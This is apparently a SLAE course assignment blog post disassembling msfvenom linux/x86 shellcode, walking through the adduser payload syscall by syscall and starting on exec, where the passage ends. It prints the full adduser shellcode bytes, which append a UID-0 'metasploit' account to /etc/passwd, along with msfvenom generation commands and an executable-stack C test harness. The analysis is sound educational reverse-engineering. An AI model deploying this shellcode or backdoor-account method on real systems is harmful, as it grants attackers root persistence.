Student ID : SLAE - 1314
Assignment 5:
In this assignment (4) four shellcode samples from msfvenom will be analysed. In this particular exercise a reversing methodology will be provided in order to identify and understand the execution mechanisms of msfvenom samples. Furthermore, according to Offensive Security site, msfvenom is a combination of Msfpayload and Msfencode tools, putting both into a single Framework instance. The msfvenom tool replaced both msfpayload and msfencode as of June 8th, 2015. The msfvenom tool is extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules.
Specifically, the goal of this assignment is the following
- Take up at least three shellcode samples created with msfvenom for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis
Disclaimer :
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
All the development and tests have been done in the following architecture
Linux kali 5.4.0-kali2-686-pae #1 SMP Debian 5.4.8-1kali1 (2020-01-06) i686 GNU/Linux
Before we start the analysis we will check the list of available payloads from msfvenom
root@kali:~/Documents/SLAE/Assignment5# msfvenom --list payloads | grep "linux/x86" linux/x86/adduser Create a new user with UID 0 linux/x86/chmod Runs chmod on specified file with specified mode linux/x86/exec Execute an arbitrary command linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86) linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86) linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86) linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86) linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6 linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86) linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86) linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86) linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86) linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6 linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'. linux/x86/shell_find_port Spawn a shell on an established connection linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe) linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
for the purpose of this exercise the following (4) four shellcodes have been chosen and analysed
- linux/x86/adduser : create a user with UID 0
- linux/x86/exec : Execute an arbitrary command
- linux/x86/chmod : Runs chmod on specified file with specific mode
- linux/x86/read_file : Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
1st Shellcode Analysis - adduser
The first shellcode to analyse is the adduser system call. Before we continue with the analysis of the specified payload lets see the information provided from msfconsole
msf5 payload(linux/x86/exec) > use payload/linux/x86/adduser msf5 payload(linux/x86/adduser) > info Name: Linux Add User Module: payload/linux/x86/adduser Platform: Linux Arch: x86 Needs Admin: Yes Total size: 97 Rank: Normal Provided by: skape <mmiller@hick.org> vlad902 <vlad902@gmail.com> spoonm <spoonm@no$email.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PASS metasploit yes The password for this user SHELL /bin/sh no The shell for this user USER metasploit yes The username to create Description: Create a new user with UID 0
As we see from the description above the adduser payload used to create a new user with UID 0. Also msfvenom gives us the option to provide our own password, shell and username. In case the default credentials and default shell are used then as seen above the username and password will be metasploit and the shell will be /bin/sh
In order to proceed with the analysis we will first generate the payload as follows
root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/adduser -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 97 bytes Final size of c file: 433 bytes unsigned char buf[] = "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51" "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63" "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65" "\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73" "\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a" "\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58" "\xcd\x80\x6a\x01\x58\xcd\x80";
Also, before moving further to analyse the shellcode with ndisasm we will first deploy the shellcode inside a stub file in C in order to be able to run it with gdb
root@kali:~/Documents/SLAE/Assignment5# cat << EOF > shellcode.c > #include <stdio.h> > #include <string.h> > > unsigned char shellcode[] = $(cat adduser.c | grep -v unsigned | sed 's/"//g;s/;//g;' | sed ':a;N;$!ba;s/\n//g;s/^/"/;s/$/"/' ) ; > > int main() > { > printf("Shellcode Length: %d\n", strlen(shellcode)); > int (*ret)() = (int(*)()) shellcode; > ret(); > } > EOF
Afterwards we will compile the C file above in order to create the executable.
root@kali:~/Documents/SLAE/Assignment5# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c
Now we are ready to run the above executable file with gdb.
root@kali:~/Documents/SLAE/Assignment5# gdb -q ./shellcode Reading symbols from ./shellcode... gdb-peda$ b *&shellcode Breakpoint 1 at 0x4040 gdb-peda$ r Starting program: /root/Documents/SLAE/Assignment5/shellcode Shellcode Length: 40 [----------------------------------registers-----------------------------------] EAX: 0x404040 --> 0xcb89c931 EBX: 0x404000 --> 0x3efc ECX: 0x7fffffea EDX: 0xb7fb0010 --> 0x0 ESI: 0xb7fae000 --> 0x1d6d6c EDI: 0xb7fae000 --> 0x1d6d6c EBP: 0xbffff508 --> 0x0 ESP: 0xbffff4ec --> 0x4011f9 (<main+80>: mov eax,0x0) EIP: 0x404040 --> 0xcb89c931 EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40403a: add BYTE PTR [eax],al 0x40403c: add BYTE PTR [eax],al 0x40403e: add BYTE PTR [eax],al => 0x404040 : xor ecx,ecx 0x404042 <shellcode+2>: mov ebx,ecx 0x404044 <shellcode+4>: push 0x46 0x404046 <shellcode+6>: pop eax 0x404047 <shellcode+7>: int 0x80 [------------------------------------stack-------------------------------------] 0000| 0xbffff4ec --> 0x4011f9 (<main+80>: mov eax,0x0) 0004| 0xbffff4f0 --> 0x1 0008| 0xbffff4f4 --> 0xbffff5b4 --> 0xbffff702 ("/root/Documents/SLAE/Assignment5/shellcode") 0012| 0xbffff4f8 --> 0xbffff5bc --> 0xbffff72d ("SHELL=/bin/bash") 0016| 0xbffff4fc --> 0x404040 --> 0xcb89c931 0020| 0xbffff500 --> 0xbffff520 --> 0x1 0024| 0xbffff504 --> 0x0 0028| 0xbffff508 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00404040 in shellcode ()
The above output is from gdb-peda which you can find it here. At this point we will continue the analysis using the ndisasm tool in order to disassemble the shellcode
root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/adduser -f c -o adduser.c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 97 bytes Final size of c file: 433 bytes Saved as: adduser.c root@kali:~/Documents/SLAE/Assignment5# res=`cat adduser.c | grep "\"" | sed 's/"//g;s/;//g' | sed ':a;N;$!ba;s/\n//g'`; echo -ne $res | ndisasm -u - 00000000 31C9 xor ecx,ecx 00000002 89CB mov ebx,ecx 00000004 6A46 push byte +0x46 00000006 58 pop eax 00000007 CD80 int 0x80 00000009 6A05 push byte +0x5 0000000B 58 pop eax 0000000C 31C9 xor ecx,ecx 0000000E 51 push ecx 0000000F 6873737764 push dword 0x64777373 00000014 682F2F7061 push dword 0x61702f2f 00000019 682F657463 push dword 0x6374652f 0000001E 89E3 mov ebx,esp 00000020 41 inc ecx 00000021 B504 mov ch,0x4 00000023 CD80 int 0x80 00000025 93 xchg eax,ebx 00000026 E828000000 call 0x53 0000002B 6D insd 0000002C 657461 gs jz 0x90 0000002F 7370 jnc 0xa1 00000031 6C insb 00000032 6F outsd 00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a 0000003B 736A jnc 0xa7 0000003D 3470 xor al,0x70 0000003F 3449 xor al,0x49 00000041 52 push edx 00000042 633A arpl [edx],di 00000044 303A xor [edx],bh 00000046 303A xor [edx],bh 00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das 00000050 7368 jnc 0xba 00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx 00000056 FC cld 00000057 6A04 push byte +0x4 00000059 58 pop eax 0000005A CD80 int 0x80 0000005C 6A01 push byte +0x1 0000005E 58 pop eax 0000005F CD80 int 0x80
Furthermore, after the execution of ndisasm command we can start performing static analysis to the assembly code in order to understand which system calls are used and how. Lets start analysing the following snippet from the output above
xor ecx,ecx ;zero out ecx register and sets the effective user ID to 0 mov ebx,ecx ;zero out ebx register and sets the real user ID to 0 push byte +0x46 ;push the setreuid() syscall identifier into the stack
At the first two lines above, the xor instruction used in order to zero out the ecx and ebx registers. Then, the instruction push byte +0x46 is pushing the setreuid syscall identifier on the stack. Furthermore, we can find out which system call the identifier 0x46 (70 in decimal ) is referring at, by searching the header file unistd_32.h. For 32-bit x86 architecture the following command can be used
root@kali:~/Documents/SLAE/Assignment5# printf SYS_read | gcc -include sys/syscall.h -m32 -E - # 1 "" # 1 "" # 1 "" # 31 "" # 1 "/usr/include/stdc-predef.h" 1 3 4 # 32 "" 2 # 1 "/usr/include/i386-linux-gnu/sys/syscall.h" 1 3 4 # 24 "/usr/include/i386-linux-gnu/sys/syscall.h" 3 4 # 1 "/usr/include/i386-linux-gnu/asm/unistd.h" 1 3 4 # 9 "/usr/include/i386-linux-gnu/asm/unistd.h" 3 4 # 1 "/usr/include/i386-linux-gnu/asm/unistd_32.h" 1 3 4 # 10 "/usr/include/i386-linux-gnu/asm/unistd.h" 2 3 4 # 25 "/usr/include/i386-linux-gnu/sys/syscall.h" 2 3 4 # 1 "/usr/include/i386-linux-gnu/bits/syscall.h" 1 3 4 # 32 "/usr/include/i386-linux-gnu/sys/syscall.h" 2 3 4 # 32 "" 2 # 1 "" # 1 "" 3 4 3
The results above are leading us to search specific paths on the system in order to find out the header file that holds the system call identifiers for the specific architecture. As we see below we can spot the setreuid system call by searching for the system call identifier 0x46 ( 70 in decimal ) inside the unistd_32.h header file.
root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep setreuid #define __NR_setreuid 70 #define __NR_setreuid32 203
Afterwards, using the instruction pop eax , the system call identifier will be loaded into the eax register and then using the int 0x80 instruction the setreuid system call will be executed.
pop eax ;load the the setreuid() syscall identifier in to eax int 0x80 ;call the setreuid() syscall identifier
The main purpose of the setreuid system call is that it sets both the real and the effective UID for the calling process. The prototype of the setreuid system call is as follows
#include <sys/types.h>
#include <unistd.h>
int setreuid(uid_t ruid, uid_t euid);
At this case the ecx register represents the second argument of the setreuid system call which is the euid and stands for the effective user Id and the ebx represents the first argument which is the ruid and stands for Real User Id. After using the xor instruction at the ecx register and the ebx register, the setreuid system call will be as follows
setreuid(0,0);
The function above shall set the real and effective user IDs of the current process to zero which means the current process will run with root privileges. Lets continue with the analysis of the following code
push byte +0x5 ; push 0x5 in stack pop eax ; load 0x5 into eax
At the snippet above the first instruction push byte +0x5 pushes the system call identifier 0x5 into the stack and then by using the pop eax instruction the same value is stored into the eax register. Moreover, after searching inside the system header unistd.h we can see that the open system call has the syscall identifier 0x5 (5 in decimal ) as shown below highlighted with red.
root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 5" #define __NR_open 5 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59
The open system call prototype is as follows
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>
int open(const char *pathname, int flags);
As we see above the open system call takes two arguments, the pathname and the flags. According to the man page the open system call opens the file specified by pathname. The return value of open system call is a file descriptor, a small, nonnegative integer that is used in subsequent system calls ( read(2), write(2), lseek(2), fcntl(2), etc.). The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read- only, write-only, or read/write, respectively. For more information about the open system call refer to the man page here
Furthermore, based on the code snippet below the ecx register is zeroed out using the xor ecx, ecx instruction and then push ecx instruction pushes the null value on the stack in order to save if for later use regarding the second argument of the open syscall
xor ecx,ecx ; zero out ecx push ecx ; push null on the stack
As for the first argument of the open syscall there are three push instructions that will construct the pathname of the file as seen below
push dword 0x64777373 ; push sswd on the stack push dword 0x61702f2f ; push //pa on the stack push dword 0x6374652f ; push /etc/ on the stack
With little help of python scripting we will convert the hex values above into ASCII text format and then the result will give us the file path ("/etc//passwd") in reverse order that will be used as the first argument of the open syscall.
>>> "73737764".decode("hex") 'sswd' >>> "2f2f7061".decode("hex") '//pa' >>> "2f657463".decode("hex") '/etc'
Then the stack pointer will point to "/etc//passwd" using the mov ebx, esp instruction.
mov ebx,esp ;perform stack alignment in order the esp to point to "/etc/passwd"
Later on the ecx register will be increased by one using the inc ecx instruction that will be used to set the second argument of the open syscall. As we saw before, the ecx register was assigned with the 0x0 value.
inc ecx ; increase ecx register
When increasing ecx register by one using instruction inc ecx we are masking the bits in order to have the O_WRONLY flag set. As we know the ecx register has the size of 32bits, the cx register has the size of 16bits, and the lower bytes cl register has the size of 8bits. Increasing the ecx register by one will change the lower 8bits cl register as follows
ECX 32-------------------------------------------- CX --------------------16---------------------- CH CL ---------------------8-----------8---------- 00000000 00000000 00000000 00000000 + 00000000 00000000 00000000 00000001 -------------------------------------------- 00000000 00000000 00000000 00000001 O_WRONLY
If we convert the binary value 00000001 to decimal we have the following 2^0 = 1. Then converting the value from decimal to octal we also get 00000001 .As we see from the fcntl.h header file below, the oflag that has the defined octal value 00000001 is the O_WRONLY.
root@kali:~/Documents/SLAE/Assignment5# grep -i -n "O_WRONLY" /usr/include/asm-generic/fcntl.h 21:#define O_WRONLY 00000001
Moving further to the next instruction as we see at the snippet below, the immediate value 0x4 will be assigned at the higher bits ch register
mov ch,0x4 ; move the immediate value of 0x4 to ch register
This means that from the cx register which has the size of 16bits, the first 8bits consisting the ch register will be changed with the following binary value 00000100
ECX
32--------------------------------------------
CX
----------------------16----------------------
CH CL
-----------------------8-----------8----------
00000000 00000000 00000000 00000000
+ 00000000 00000000 00000000 00000001
----------------------------------------------
00000000 00000000 00000100 00000001
----------------------------------------------
ECX
00000000000000000000010000000001
2^10 2^0
O_APPEND O_WRONLY
Currently the ecx register holds the hex value 0x401. Furthermore, at the ecx register starting from the least significant bit (LSB) and counting by one to the most significant bit (MSB), the 10th bit appears to be one (1) meaning that if we convert it to decimal we get 2^10 = 1024 ,where in hex representation we get the value 0x400 and in octal representation we get the value 00002000. Furthermore, as we see from the fcntl.h header file below, the O_APPEND has been defined with the octal value 00002000
root@kali:~/Documents/SLAE/Assignment5# grep -i -n "00002000" /usr/include/asm-generic/fcntl.h 36:#define O_APPEND 00002000
According to open system call man page we get the following information.
- O_APPEND : The file is opened in append mode.
- O_WRONLY : Open for writing only.
Using gdb we can get the following results
gdb-peda$ p/t $cl $18 = 1 gdb-peda$ p/t $ch $19 = 100 gdb-peda$ p/t $ecx $20 = 10000000001 gdb-peda$ gdb-peda$ p/t $cx $21 = 10000000001 <- 0x401 gdb-peda$
Finally, the open syscall will be called using the following instruction
int 0x80 ; call open syscall
At this point the open syscall will be set as follows
open( "/etc//passwd", O_WRONLY | O_APPEND );
The next instruction xchg ebx,eax is used in order to exchange the values between the two registers the ebx and eax. At this point the file descriptor returned by the open instruction will be saved in ebx register.
xchg ebx,eax ; exchange the values between ebx and eax. Save the file descriptor to ebx to use it later in write syscall
As we see at the code snippet below the execution flow will be redirected at offset 0x53 from the beginning of the shellcode
call 0x53 ; redirect execution flow at offset 0x53
The call instruction performs two operations:
- It pushes the return address (address immediately after the call instruction) on the stack.
- It changes eip to the call destination. This effectively transfers control to the call target and begins execution there.
Having in mind these two operations of the call instruction, it is interesting to check gdb-peda about the return address that pushed on the stack.
0x00404066 <+38>: call 0x404090 <shellcode+80> 0x0040406b <+43>: ins DWORD PTR es:[edi],dx
Afterwards, and when the execution flow redirected at address 0x404090, by checking that address we see the string highlighted in orange below.
gdb-peda$ p/x $esp $40 = 0xbffff4d8 gdb-peda$ p/s *0xbffff4d8 $41 = 0x40406b gdb-peda$ x/-s 0x40406b 0x40406b <shellcode+43>: "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X\315\200j\001X\315\200" gdb-peda$
Also as seen above the valid string is terminated with the '\n' new line character which separates it from the rest invalid characters. Furthermore, analysing the code using gdb we can see the following hexadecimal values in orange colour below starting from the address 0x40406b
gdb-peda$ x/42x 0x40406b 0x40406b <shellcode+43>: 0x6d 0x65 0x74 0x61 0x73 0x70 0x6c 0x6f 0x404073 <shellcode+51>: 0x69 0x74 0x3a 0x41 0x7a 0x2f 0x64 0x49 0x40407b <shellcode+59>: 0x73 0x6a 0x34 0x70 0x34 0x49 0x52 0x63 0x404083 <shellcode+67>: 0x3a 0x30 0x3a 0x30 0x3a 0x3a 0x2f 0x3a 0x40408b <shellcode+75>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x0a 0x404093 <shellcode+83>: 0x59 0x8b
These bytecodes are actually representing the code between offset 0000002B and offset 00000053 where the execution is redirected from instruction call 0x53 as seen from ndisasm output below.
0000002B 6D insd 0000002C 657461 gs jz 0x90 0000002F 7370 jnc 0xa1 00000031 6C insb 00000032 6F outsd 00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a 0000003B 736A jnc 0xa7 0000003D 3470 xor al,0x70 0000003F 3449 xor al,0x49 00000041 52 push edx 00000042 633A arpl [edx],di 00000044 303A xor [edx],bh 00000046 303A xor [edx],bh 00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das 00000050 7368 jnc 0xba 00000052 0A598B or bl,[ecx-0x75]
The following output shows that if we convert the hex opcodes highlighted with red colour above into ASCII text, we can have a new user record in valid format that can be inserted into the file /etc/passwd. Moreover with little help of python we can have a valid record in text as seen below
"6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A598B".decode("hex") 'metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\x8b'
Also as we see above, the default credentials are used because we didn't provide any username or password to the msfvenom command, so the username will be metasploit, and the password will be Az/dIsj4p4IRc . Furthermore the user id as well as the group id will be 0 and the login shell will be /bin/sh. The following output from gdb-peda can provide us with the expected results as discussed before. As we see in orange color below the flow has been redirected at instruction pop ecx after the call 0x53 is executed.
=> 0x404093 <shellcode+83>: pop ecx
0x404094 <shellcode+84>: mov edx,DWORD PTR [ecx-0x4]
0x404097 <shellcode+87>: push 0x4
0x404099 <shellcode+89>: pop eax
if we examine closely the address 0x404090 we see the following hexadecimal values in orange
gdb-peda$ x/20x 0x404090 0x404090 <shellcode+80>: 0x59 0x8b 0x51 0xfc 0x6a 0x04 0x58 0xcd 0x404098 <shellcode+88>: 0x80 0x6a 0x01 0x58 0xcd 0x80 0x00 0x00 0x4040a0: 0x00 0x00 0x00 0x00 gdb-peda$
if we look closely at the snippet below we see the above hexadecimal values presented in the second column of the ndisasm output
00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx 00000056 FC cld 00000057 6A04 push byte +0x4 00000059 58 pop eax 0000005A CD80 int 0x80 0000005C 6A01 push byte +0x1 0000005E 58 pop eax 0000005F CD80 int 0x80
in such case we can also use python to convert the opcodes in ASCII text in order to reveal the assembly code
root@kali:~/Documents/SLAE/Assignment5# echo -ne "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel - 00000000 59 pop ecx 00000001 8B51FC mov edx,[ecx-0x4] 00000004 6A04 push byte +0x4 00000006 58 pop eax 00000007 CD80 int 0x80 00000009 6A01 push byte +0x1 0000000B 58 pop eax 0000000C CD80 int 0x80
The pop ecx instruction above will store the string in ecx register
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
Also from gdb-peda we get the output below
gdb-peda$ x/s $ecx
0x40406b <shellcode+43>: "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X\315\200j\001X\315\200"
Then the instruction mov edx, [ecx-0x4] will move the value 0x28 into edx register
mov edx,[ecx-0x4] ; move 0x28 into edx register
In detail, if we check the ndisasm output we see that the instruction right after the call 0x53 instruction appears to be at offset 0000002B. Moreover, the ecx register after the pop ecx instruction holds the opcodes at offset 0000002B because as we know the call instruction pushes the memory address of the next instruction on the stack. The edx register will now hold the contents in memory address 00000027 ( 0x2B - 0x4 ). Also from gdb we can confirm that 0x28 is present in [ecx-4] as seen below
gdb-peda$ x/x $ecx 0x40406b <shellcode+43>: 0x6d gdb-peda$ x/-4x $ecx 0x404067 <shellcode+39>: 0x28 0x00 0x00 0x00 gdb-peda$
The edx register will be used as the third argument of the write system call which refers to the size of the string that will be inserted inside the /etc/passwd file. The decimal value of 0x28 is 40 which indicates the size of the following string
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
In the unistd_32.h header file the hex identifier 0x4 ( 4 in decimal ) specifies the write system call. The prototype of write is as follows
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
According to the man page of write system call, it writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd. Moreover, we can refer to the linux System Call table in order to link the arguments of write system call with the specific general purpose registers. For example, regarding the write system call the ecx register refers to the third argument, the edx for the second and the ebx for the first argument and eax refers to the system call identifier which is number 4.
Furthermore, as we saw from the ndisasm disassembled code output before, the file descriptor has been kept in ebx register when the xchg instruction were executed before the call instruction. Also as explained at the previous paragraph the ecx register holds the string value that will be placed inside the /etc/passwd file representing the second argument of the write system call. Next, the write system call identifier will be pushed on the stack and then it will be loaded into the eax register using the pop eax instruction. Then the write system call will be called using the int 0x80 instruction.
push byte +0x4 ; push 0x4 immediate value on the stack pop eax ; load write syscall identifier 0x4 into eax int 0x80 ; execute write syscall
The write system call will be as follows
write(3, metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh, 40)
Finally, 0x1 is pushed into the stack and stored in eax register using the pop eax instruction. In unistd_32.h header file the value 0x1 specifies the exit system call. Before we move further lets examine the exit prototype as seen below
#include <stdlib.h> void exit(int status);
The exit(3) syscall does not return any value but it takes only one argument, the status. As we know from previous analysis, the ebx register holds the value 0x3 that will be used as an argument on the exit system call which refers at the status of the exit process. When a program exits, it can return to the parent process a small amount of information about the cause of termination, using the exit status. This is a value between 0 and 255 that the exiting process passes as an argument to exit system call.
push byte +0x1 ; push 0x1 on the stack pop eax ; load exit syscall identifier 0x1 into eax int 0x80 ; execute exit syscall
The software interrupt is then performed by the int 0x80 instruction where used to call the exit system call in order to terminate the program.
exit(3)
To summarise, from the adduser shellcode analysis the following system calls are used
setreuid(0, 0) open(/etc//passwd, O_WRONLY|O_APPEND) write(3, metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh, 40) exit(3)
2nd Shellcode analysis - exec
At this section the exec shellcode will be analysed. Before we continue the analysis of the payload we will check the information provided from msfconsole.
msf5 > use payload/linux/x86/exec msf5 payload(linux/x86/exec) > info Name: Linux Execute Command Module: payload/linux/x86/exec Platform: Linux Arch: x86 Needs Admin: No Total size: 36 Rank: Normal Provided by: vlad902 <vlad902@gmail.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute Description: Execute an arbitrary command
As we see from the description above, the exec payload is being used in order to execute an arbitrary command. Furthermore, with msfvenom the id command will be executed using exec and the output will be saved at file linux_x86_exec.c as follows
root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/exec CMD="id" -f C -o linux_x86_exec.c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 38 bytes Final size of c file: 185 bytes Saved as: linux_x86_exec.c
Moreover, in order to perform static analysis of the exec shellcode we will use the ndisasm tool which will produce the following output
root@kali:~/Documents/SLAE/Assignment5# echo -ne `cat linux_x86_exec.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;//'` | ndisasm -u - 00000000 6A0B push byte +0xb 00000002 58 pop eax 00000003 99 cdq 00000004 52 push edx 00000005 66682D63 push word 0x632d 00000009 89E7 mov edi,esp 0000000B 682F736800 push dword 0x68732f 00000010 682F62696E push dword 0x6e69622f 00000015 89E3 mov ebx,esp 00000017 52 push edx 00000018 E803000000 call 0x20 0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 00000025 80 db 0x80
As seen below, the first instruction used to push 0xb ( 11 in decimal ) into the stack
push byte +0xb ; push 0xb ( 11 in decimal ) on the stack
If we search for the hex value 0xb ( 11 in decimal ) at the header file unistd_32.h we can see that the execve syscall has been defined with that value.
root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 11$" #define __NR_execve 11
Below is the execve syscall synopsis
#include <unistd.h> int execve(const char *pathname, char *const argv[], char *const envp[]);
As we see execve syscall takes three arguments. According to the man page, the execve syscall executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialised stack, heap, and (initialised and uninitialised) data segments. argv[] is an array of pointers to strings passed to the new program as its command-line arguments. envp is an array of pointers to strings, conventionally of the form key=value, which are passed as the environment of the new program. The envp array must be terminated by a NULL pointer. Afterwards, the second instruction is used to save the hex value 0xb into the eax register
pop eax ; load 0xb on eax register
The next instruction cdq extends the sign bit of eax into the edx register. This means that if the sign bit is zero as indicated by the flag SF = 0, then the extension of edx register will be 0x00000000. This is an alternative way of zeroing out edx register. Regarding the placement of the syscall arguments we are starting from left to right, and at this point edx is simply 0x0 because the char * envp[] argument is null. Then edx pushed into the stack with push edx instruction
cdq ; extend the sign bit of eax into the edx register push edx ; push edx on the stack
Furthermore, using python we can transform the hex value 0x632d into the equivalent ASCII text representation as seen below
Python 3.7.5 (default, Oct 27 2019, 15:43:29) [GCC 9.2.1 20191022] on linux Type "help", "copyright", "credits" or "license" for more information. >>> bytes.fromhex('632d').decode('utf-8') 'c-'
the following instruction pushes the 2 byte data item "c-" or "-c" in reverse order inside the stack
push word 0x632d ; push 2 byte data item 'c-' on the stack
With the following instruction the contents pointed by the stack pointer will be loaded inside edi register. As we saw before the last instruction pushed the characters "c-" on the stack, where the esp register is now pointing.
mov edi,esp ; load the contents pointed by the stack pointer to edi
Afterwards, using python we can provide the ASCII text representation of hex values 0x68732f and 0x6e69622f that are pushed on the stack
root@kali:~/Documents/SLAE/Assignment5# python3 Python 3.7.5 (default, Oct 27 2019, 15:43:29) [GCC 9.2.1 20191022] on linux Type "help", "copyright", "credits" or "license" for more information. >>> bytes.fromhex('68732f').decode('utf-8') 'hs/' >>> bytes.fromhex('6e69622f').decode('utf-8') 'nib/' >>>
From the python output above we can see that a 4 bytes data item '/bin/sh' pushed inside the stack using the following two instructions below
push dword 0x68732f ; push 'hs/' on the stack push dword 0x6e69622f ; push 'nib/' on the stack
The next instruction will load the data pointed by the esp register inside the ebx register, meaning that ebx register will now point at the beginning of the string '/bin/sh'
mov ebx,esp ; load the contents pointed by the stack pointer to ebx
The next instruction pushes four null bytes on the stack because as we saw before the cdq instruction used to zero out the edx register and still has the same value
push edx ; push ebx on the stack
